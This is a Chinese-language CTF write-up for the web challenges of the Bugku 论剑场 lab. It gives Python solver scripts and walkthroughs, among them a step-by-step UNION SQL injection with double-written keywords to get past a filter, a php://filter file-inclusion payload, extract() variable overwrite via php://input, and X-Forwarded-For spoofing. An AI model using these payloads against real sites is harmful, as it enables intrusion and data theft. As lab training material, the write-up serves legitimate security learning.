论剑场 web部分 writeup
文章目录
- 一,python
- 日志审计
- web2
- web11
- web13
- web20
- 二,SQL注入
- web18
- 三,其他
- web1
- web 3
- web6
一,python
日志审计
import re
import sys
f = open("D:\\desktop\\1.txt")
line = 1
while line:line = f.readline()if line!='':a=re.search('%3D',line).end()b=re.search('--',line).start()c=line[a:b]sys.stdout.write(chr(int(c)))
#flag{mayiyahei1965ae7569}
web2
链接:论剑场web2
python代码:
import re
import requests
url='http://123.206.31.85:10002/'
s=requests.session()
html=s.get('http://123.206.31.85:10002/').text
num1=re.search('<br/>',html).end()
html=html[num1:]
num=re.search('</p>',html).start()
html=html[:num]
result=s.post(url,data={'result':eval(html)})
print(result.text)
结果:
用到的函数总结:
1,search()
与.start
search()
这里是用search(pattern=‘’, string=‘’)函数返回</p>
第一个字符的位置。
(目的:用html=html[:num]
将目的计算式提取出来)。
.start()
取开头位置.end
取结尾位置。
2,eval()
与post()
功能:
eval():将字符串str当成有效的表达式来求值并返回计算结果。
post(url=‘’,data=‘’)用post方法访问网页,并传递data里的值给网页。
web11
import hashlibdef get_token(txt):m1 = hashlib.md5()m1.update(txt.encode("utf-8"))token = m1.hexdigest()return token
for i in range(0,999999):if get_token(str(i))[0:6] == '89240b':print(i)break
or
import hashlibdef get_md5(txt):m1=hashlib.md5()m1.update(txt.encode('utf-8'))m2=m1.hexdigest()return m2for i in range(0,999999):if get_md5(str(i))[0:6] == '89240b':print(i)break
web13
论剑场web13链接
用burp抓包
发现herders里面password参数有base64码,解码发现flag,输入flag不对,提示能不能再快点。然后就要用到python了。
import re
import requests
import base64
url='http://123.206.31.85:10013/index.php'
s=requests.session()
html=s.get(url)
html=s.get(url).headers
psw=html['password']
a=base64.b64decode(psw)
print(a)
a=a[5:37]
print(a)
b=s.post(url,data={'password':a})
print(b).text
结果:
web20
题目:
这道题有两种方法:
1,第一种是MD5(时间戳)+一位随机数。
2,第二种方法是 直接获取网页上的动态密文提交。
python脚本:(MD5(时间戳)+随机数)
import time
import hashlib
import requests
import randomurllen=160
s=requests.session()while urllen==160:b=time.time()#+1 注:这里的+1应该是看电脑时间准不准,我有时候要加1,有时候不用加1.tim=str(int(b))a=hashlib.md5()a.update(tim.encode("utf-8"))c=a.hexdigest()url='http://123.206.31.85:10020/?key='+str(c)+str(random.randint(1,9))print urlhtml=s.get(url).texturllen=len(html)print html
python脚本:(获取网页上的动态密文提交)
import hashlib
import re
import requestsurllen=160#提前测出长度为160 while urllen==160:#如果页面长度不是160,说明flag出现s=requests.session()url="http://123.206.31.85:10020/"a=s.get(url).texta=a[27:60]url2="http://123.206.31.85:10020/?key="+str(a)html=s.get(url2).texturllen=len(html)print html.encode("utf-8")
用到的函数:
一,str()函数:
二,int ()函数:
二,SQL注入
web18
打开是这样的:
1,尝试sql注入,首先加一个分号,网页报错。
http://123.206.31.85:10018/list.php?id=1'
2,加“--+”注释后面的内容,不报错。说明是单引号闭合。
也可以使用 %23’ 或 --’ 或 '。
http://123.206.31.85:10018/list.php?id=1'--+
3,测试发现union,select,or 过滤掉了,需要双写绕过。
http://123.206.31.85:10018/list.php?id=1' union --+
http://123.206.31.85:10018/list.php?id=1' select --+
http://123.206.31.85:10018/list.php?id=1' or --+ //都不报错
4,sql注入
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,3 --+
//不报错,说明字段数为3。
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,database() --+ //数据库为web18。
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(table_name
)from infoorrmation_schema.tables where table_schema='web18' --+ //测得表名为ctf和flag。
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(column_
name) from infoorrmation_schema.columns where table_name='flag' --+
//列名为id和flag。
http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,flag from web18.flag --+
//得到flag
三,其他
web1
1,extract()函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。
2,file_get_contents()可以用php://input绕过。
综上:a不赋值,b赋值为php://input,这样a,c值都为空,得到flag
web 3
这道题试了半天不是文件上传,而是文件包含。利用PHP伪协议读取flag内容。
http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag
web6
随便输入账号密码测试一下,弹出以下字样,于是想起x-forwarded-for伪造。
但是账号密码想半天也不知道怎么得到,看了别人的writeup才知道在注释最下面。然后抓包…
论剑场 web部分 writeup相关推荐
- CTF论剑场(web) write up 未完待续
CTF论剑场(web) write up web26 直接给你一串代码 <?php $num=$_GET['num']; $str=$_GET['str']; show_source(__FIL ...
- CTF论剑场web题目(持续更新)--WEB2
web2 题目让在三秒内计算,首先试了试能不能前段绕过,发现不行,抓包也没有什么有用的信息,那就只能上脚本了,刚好,作为萌新的我,不会写脚本那就只能感谢大佬的脚本了: 脚本转自:https://www ...
- CTF_论剑场 misc杂项 WriteUp(持续更新)
文章目录 签到题 头像 0和1的故事 Snake 这个人真的很高 你能找到flag吗 向日葵 安慰的话语 画图 flag在不在这里 Blind 火眼金睛 被截获的电报 怀疑人生 500txt c2un ...
- 论剑场中部分web题的WP
好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客! web25 有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转ht ...
- web ctf解题记录 bugku的ctf_论剑场
ctf_论剑场持续更新 web26 web1 web9 web2 web6(xff,f12) 日志审计 web14 需要写脚本的都放在脚本专辑里了,点这句话 web26 PHP is_numeric( ...
- Bugku新平台论剑场writeup
头像 用010editor打开搜索flag就是找到的flag:flag{bGxvdmV0aGVnaXJs}再经过base64解密flag{llovethegirl}后再来进行MD5加密得到 flag{ ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- “百度杯”CTF比赛 九月场--web Upload
"百度杯"CTF比赛 九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程 解析渲染该过程主要分为以下步骤 解决方案 4 ...
- 2022 lineCTF WEB复现WriteUp
lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...
最新文章
- 使用DOM4J读和写文档
- C++开发要注意的规范?
- iOS9定位获取经纬度 swift
- 《Django实战系列》
- VC中连接mdb数据库及其数据读取方法
- java中的深复制和浅复制
- 包邮送50本数据分析、MySQL、Python相关书籍!
- Windows装机必备软件大全,全部支持Vista系统
- 怎么删除映射网络里的计算机,win10系统删除右键中“映射网络驱动器和断开网络驱动器”选项的详细办法...
- 100---Python绘制圆锥体
- 3.26 文字工具的使用 [原创Ps教程]
- Burp Suite暴力破解网站密码
- 兆易创新携手合肥产投进军12英寸晶圆存储器
- arduino使用oled代码_【教程】在ESP32上使用E32433T LoRa模块
- 收到服务器发来的配置信息同步命令,Microsoft Exchange ActiveSync 和第三方设备的当前问题...
- MySQL基本操作—DQL实训真题
- 讯飞开放平台七夕福利
- 安徽外国语学院计算机信息管理,2021年安徽外国语学院录取结果查询网址入口及录取结果公布时间...
- 【办公常用软件有哪些】万彩办公大师教程丨超级文本转语音
- 02-waystage
热门文章
- 详细谈谈软文的定义和软文的发展历史,以及软文的作用
- HE3050C锂电池保护IC,SOT23-3封装
- matlab2020年期末,科学计算与MATLAB语言2020年超星期末考试大全答案
- 从电池中管理使用电动车(EVS)和电力注射构成控制EV的充电和排放作为有吸引力的研究领域的问题
- 典型ieee3机9节点电力系统潮流分析_借“玩潮無界”国创潮流玩具展复盘开业半年的上海世茂广场...
- Starting MySQL... ERROR The server quit without updating PID file 解决办法
- 数学与计算机教学设计,数学教案- 小学数学与信息技术整合教案教学设计 教案...
- 重建分区表主键 - Recreate Primary Key on a partition table
- 使用STM32CuBeMX生成代码失败
- PCA、LPP及两者正交改进的特征提取特征降维算法